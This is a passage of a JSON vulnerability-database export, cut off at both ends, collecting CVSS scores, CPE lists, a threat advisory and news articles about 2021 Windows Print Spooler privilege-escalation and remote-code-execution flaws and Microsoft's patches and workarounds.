"cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}], "prion": [{"lastseen": "2023-08-16T05:58:19", "description": "Windows Print Spooler Elevation of Privilege Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-16T21:15:00", "type": "prion", "title": "CVE-2021-34481", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2023-04-11T18:59:00", "id": "PRION:CVE-2021-34481", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34481", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T07:11:24", "description": "Windows Print Spooler Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-38667, CVE-2021-38671.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-40447", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-24T18:41:00", "id": "PRION:CVE-2021-40447", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-40447", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T06:49:39", "description": "Windows Print Spooler Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-38671, CVE-2021-40447.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-38667", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-24T18:53:00", "id": "PRION:CVE-2021-38667", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-38667", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T06:49:38", "description": "Windows Print Spooler Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-38667, CVE-2021-40447.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "prion", "title": "CVE-2021-38671", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-24T18:52:00", "id": "PRION:CVE-2021-38671", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-38671", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "hivepro": [{"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here](<https://www.hivepro.com/wp-content/uploads/2021/07/TA202126.pdf>)[.](<https://www.hivepro.com/wp-content/uploads/2021/07/TA202122.pdf>)\n\nAfter almost 10 days of releasing [an advisory ](<https://www.hivepro.com/emergency-patches-have-been-released-by-microsoft-for-printnightmare/>)by the Hive Pro Threat Research team, a new vulnerability has been found in Windows Print Spooler. This is a privilege escalation flaw that allows attackers to run arbitrary code with SYSTEM privileges, giving them the ability to install programs, read, alter, or remove data, and create new accounts with full user rights. The affected versions have not been known as of now. There have been no patches released yet, but workarounds are available.\n\n#### Vulnerability Details\n\n**CVE ID** | **Affected CPEs** | **Vulnerability Name** \n---|---|--- \nCVE-2021-34481 | cpe:2.3:o:microsoft:windows:*:*:*:*:*:*:*:* | Microsoft windows print spooler service Privilege Escalation \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>\n\n#### References\n\n<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>\n\n<https://arstechnica.com/gadgets/2021/07/disable-the-windows-print-spooler-to-prevent-hacks-microsoft-tells-customers/>", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-18T13:12:53", "type": "hivepro", "title": "Weren\u2019t you warned about reactivating the Print Spooler?", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2021-07-18T13:12:53", "id": "HIVEPRO:1C413EFAC97AED19F9E35574668008F9", "href": "https://www.hivepro.com/werent-you-warned-about-reactivating-the-print-spooler/", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:39:19", "description": "[![windows printer spooler vulnerability](https://thehackernews.com/images/-bi5ZcqZAriI/YPUgr-nwSjI/AAAAAAAADPc/Vyz_FgNnVwEF-E_EP0oMclWiGQCCSplZACLcBGAsYHQ/s728-e1000/Windows-Printer-Spooler-Vulnerability.jpg)](<https://thehackernews.com/images/-bi5ZcqZAriI/YPUgr-nwSjI/AAAAAAAADPc/Vyz_FgNnVwEF-E_EP0oMclWiGQCCSplZACLcBGAsYHQ/s0/Windows-Printer-Spooler-Vulnerability.jpg>)\n\nMerely days after Microsoft sounded the alarm on an [unpatched security vulnerability](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) in the Windows Print Spooler service, possibly yet another zero-day flaw in the same component has come to light, making it the fourth printer-related shortcoming to be discovered in recent weeks.\n\n\"Microsoft Windows allows for non-admin users to be able to install printer drivers via Point and Print,\" CERT Coordination Center's Will Dormann [said](<https://kb.cert.org/vuls/id/131152>) in an advisory published Sunday. \"Printers installed via this technique also install queue-specific files, which can be arbitrary libraries to be loaded by the privileged Windows Print Spooler process.\"\n\nAn exploit for the vulnerability was disclosed by security researcher and [Mimikatz creator](<https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/>) [Benjamin Delpy](<https://twitter.com/gentilkiwi/status/1416079316673339392>).\n\n> [#printnightmare](<https://twitter.com/hashtag/printnightmare?src=hash&ref_src=twsrc%5Etfw>) \\- Episode 4 \n \nYou know what is better than a Legit Kiwi Printer ? \n\ud83e\udd5dAnother Legit Kiwi Printer...\ud83d\udc4d \n \nNo prerequiste at all, you even don't need to sign drivers/package\ud83e\udd2a [pic.twitter.com/oInb5jm3tE](<https://t.co/oInb5jm3tE>)\n> \n> \u2014 \ud83e\udd5d Benjamin Delpy (@gentilkiwi) [July 16, 2021](<https://twitter.com/gentilkiwi/status/1416079316673339392?ref_src=twsrc%5Etfw>)\n\nSpecifically, the flaw allows a threat actor to execute arbitrary code with SYSTEM privileges on a vulnerable Windows machine by connecting to a malicious print server under their control.\n\nWhile there is no solution to the problem, CERT/CC recommends configuring \"PackagePointAndPrintServerList\" to prevent the installation of printers from arbitrary servers and blocking outbound SMB traffic at the network boundary, given that public exploits for the vulnerability utilize SMB for connectivity to a malicious shared printer.\n\nThe new issue is only the latest evidence of the fallout after the [PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) flaw accidentally became public last month, leading to the discovery of a number of vulnerabilities affecting the Print Spooler service.\n\nGiven the lack of details surrounding [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \u2014 the local privilege escalation (LPE) flaw reported by security researcher Jacob Baines \u2014 [it's not immediately clear](<https://twitter.com/wdormann/status/1416740343597486087>) what connection, if any, the vulnerability and this new Print Spooler signature-check bypass that also allows for LPE may have with one another.\n\nWhen reached for a response, a Microsoft spokesperson told The Hacker News that \"we are investigating reports and will take appropriate action as needed to help keep customers protected.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-19T06:51:00", "type": "thn", "title": "Researcher Uncovers Yet Another Unpatched Windows Printer Spooler Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2021-07-22T03:40:17", "id": "THN:C2D8045AAD8E4BA5A9168782138B6D52", "href": "https://thehackernews.com/2021/07/researcher-uncover-yet-another.html", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[![Windows Print Spooler RCE Vulnerability](https://thehackernews.com/images/-otyRXbM_lrE/YRSmPS71hoI/AAAAAAAADgQ/tTqtA8hUI7kXtRqLCssO2jaV1gRO-zUdACLcBGAsYHQ/s728-e1000/printer-hack.gif)](<https://thehackernews.com/images/-otyRXbM_lrE/YRSmPS71hoI/AAAAAAAADgQ/tTqtA8hUI7kXtRqLCssO2jaV1gRO-zUdACLcBGAsYHQ/s0/printer-hack.gif>)\n\nA day after releasing [Patch Tuesday updates](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>), Microsoft acknowledged yet another remote code execution vulnerability in the Windows Print Spooler component, adding that it's working to remediate the issue in an upcoming security update.\n\nTracked as [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) (CVSS score: 7.3), the unpatched flaw is the latest to join a [list](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) of [bugs](<https://thehackernews.com/2021/07/researcher-uncover-yet-another.html>) collectively known as [PrintNightmare](<https://www.cnet.com/news/2021/08/microsoft-releases-windows-updates-to.html%20https://suppor>) that have plagued the printer service and come to light in recent months. Victor Mata of FusionX, Accenture Security, who has been credited with reporting the flaw, [said](<https://twitter.com/offenseindepth/status/1425574625384206339>) the issue was disclosed to Microsoft in December 2020.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" the company said in its out-of-band bulletin, echoing the vulnerability details for [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>). \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n[![Windows Print Spooler RCE Vulnerability](https://thehackernews.com/images/-2GxRoKJtyWA/YRSwMjr9x2I/AAAAAAAADgY/_N1Bo0X9GrsWaOMamfoYSHTTfcM5ZJYbwCLcBGAsYHQ/s728-e1000/PRINTER.jpg)](<https://thehackernews.com/images/-2GxRoKJtyWA/YRSwMjr9x2I/AAAAAAAADgY/_N1Bo0X9GrsWaOMamfoYSHTTfcM5ZJYbwCLcBGAsYHQ/s0/PRINTER.jpg>)\n\nIt's worth noting that the Windows maker has since released [updates](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) to change the default Point and Print default behavior, effectively barring non-administrator users from installing or updating new and existing printer drivers using drivers from a remote computer or server without first elevating themselves to an administrator.\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability. The CERT Coordination Center, in a [vulnerability note](<https://www.kb.cert.org/vuls/id/131152>), is also advising users to block outbound SMB traffic to prevent connecting to a malicious shared printer.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-12T05:23:00", "type": "thn", "title": "Microsoft Warns of Another Unpatched Windows Print Spooler RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36958"], "modified": "2021-08-12T06:19:03", "id": "THN:3F83D0C001F2A9046C61A56F5ABE7695", "href": "https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[![](https://thehackernews.com/images/-dWO_rqbdIfE/YPENEeXU5vI/AAAAAAAADNg/aAsoS9_8txQ842LEOAjpzJcvpkm6tro9wCLcBGAsYHQ/s0/Windows-Print-Spooler-Vulnerability.jpg)](<https://thehackernews.com/images/-dWO_rqbdIfE/YPENEeXU5vI/AAAAAAAADNg/aAsoS9_8txQ842LEOAjpzJcvpkm6tro9wCLcBGAsYHQ/s0/Windows-Print-Spooler-Vulnerability.jpg>)\n\nMicrosoft on Thursday shared fresh guidance on yet another vulnerability affecting the Windows Print Spooler service, stating that it's working to address it in an upcoming security update.\n\nTracked as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) (CVSS score: 7.8), the issue concerns a local privilege escalation flaw that could be abused to perform unauthorized actions on the system. The company credited security researcher Jacob Baines for discovering and reporting the bug.\n\n\"An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges,\" the Windows maker said in its advisory. \"An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\nHowever, it's worth pointing out that successful exploitation of the vulnerability requires the attacker to have the ability to execute code on a victim system. In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.\n\n[![](https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg)](<https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg>)\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.\n\nThe development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.\n\nDubbed PrintNightmare ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.\n\nHowever, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are \"working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-16T04:40:00", "type": "thn", "title": "Microsoft Warns of New Unpatched Windows Print Spooler Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-17T11:53:08", "id": "THN:CF5E93184467C7B8F56A517CE724ABCF", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:15", "description": "[![](https://thehackernews.com/images/-KFVbzvrTdtw/YRNbSwawxnI/AAAAAAAADfg/bEuoCVHmHHw4ycTXfnhAqcyuUoWDf2W7gCLcBGAsYHQ/s0/windows-update-download.jpg)](<https://thehackernews.com/images/-KFVbzvrTdtw/YRNbSwawxnI/AAAAAAAADfg/bEuoCVHmHHw4ycTXfnhAqcyuUoWDf2W7gCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft on Tuesday rolled out [security updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Aug>) to address a total of 44 security issues affecting its software products and services, one of which it says is an actively exploited zero-day in the wild.\n\nThe update, which is the smallest release since December 2019, squashes seven Critical and 37 Important bugs in Windows, .NET Core & Visual Studio, Azure, Microsoft Graphics Component, Microsoft Office, Microsoft Scripting Engine, Microsoft Windows Codecs Library, Remote Desktop Client, among others. This is in addition to [seven security flaws](<https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security>) it patched in the Microsoft Edge browser on August 5.\n\nChief among the patched issues is [CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>) (CVSS score: 7.8), an elevation of privilege flaw affecting Windows Update Medic Service \u2014 a service that enables remediation and protection of Windows Update components \u2014 which could be abused to run malicious programs with escalated permissions.\n\nMicrosoft's Threat Intelligence Center has been credited with reporting the flaw, although the company refrained from sharing additional specifics or detail on how widespread those attacks were in light of active exploitation attempts.\n\nTwo of the security vulnerabilities are publicly known at the time of release -\n\n * [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>) (CVSS score: 9.8) - Windows LSA Spoofing Vulnerability\n * [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>) (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability\n\nWhile CVE-2021-36942 contains fixes to secure systems against NTLM relay attacks like [PetitPotam](<https://thehackernews.com/2021/07/new-petitpotam-ntlm-relay-attack-lets.html>) by blocking the LSARPC interface, CVE-2021-36936 resolves yet another remote code execution flaw in the Windows Print Spooler component.\n\n\"An unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM,\" Microsoft said in its advisory for CVE-2021-36942; adding the \"security update blocks the affected API calls OpenEncryptedFileRawA and OpenEncryptedFileRawW through LSARPC interface.\"\n\nCVE-2021-36936 is also one among the three flaws in the Print Spooler service that Microsoft has fixed this month, with the two other vulnerabilities being [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>) and (CVSS score: 8.2) and [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) (CVSS score: 7.8), the latter of which concerns an elevation of privilege vulnerability.\n\nIn addition, Microsoft has released [security updates](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>) to resolve a previously disclosed remote code execution in the Print Spooler service tracked as [CVE-2021-34481](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) (CVSS score: 8.8). This changes the default behavior of the \"[Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>)\" feature, effectively preventing non-administrator users from installing or updating new and existing printer drivers using drivers from a remote computer or server without first elevating themselves to an administrator.\n\nAnother critical flaw remediated as part of Patch Tuesday updates is [CVE-2021-26424](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26424>) (CVSS score: 9.9), a remote code execution vulnerability in Windows TCP/IP, which Microsoft notes \"is remotely triggerable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCP/IP packet to its host utilizing the TCP/IP Protocol Stack (tcpip.sys) to process packets.\"\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.\n\n### Software Patches From Other Vendors\n\nBesides Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including -\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-08-01>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&channel=SECURITY_ADVISORIES>)\n * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-August/thread.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-11T05:31:00", "type": "thn", "title": "Microsoft Releases Windows Updates to Patch Actively Exploited Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26424", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-36936", "CVE-2021-36942", "CVE-2021-36947", "CVE-2021-36948"], "modified": "2021-08-11T05:31:39", "id": "THN:F601EBBE359B3547B8E79F0217562FEF", "href": 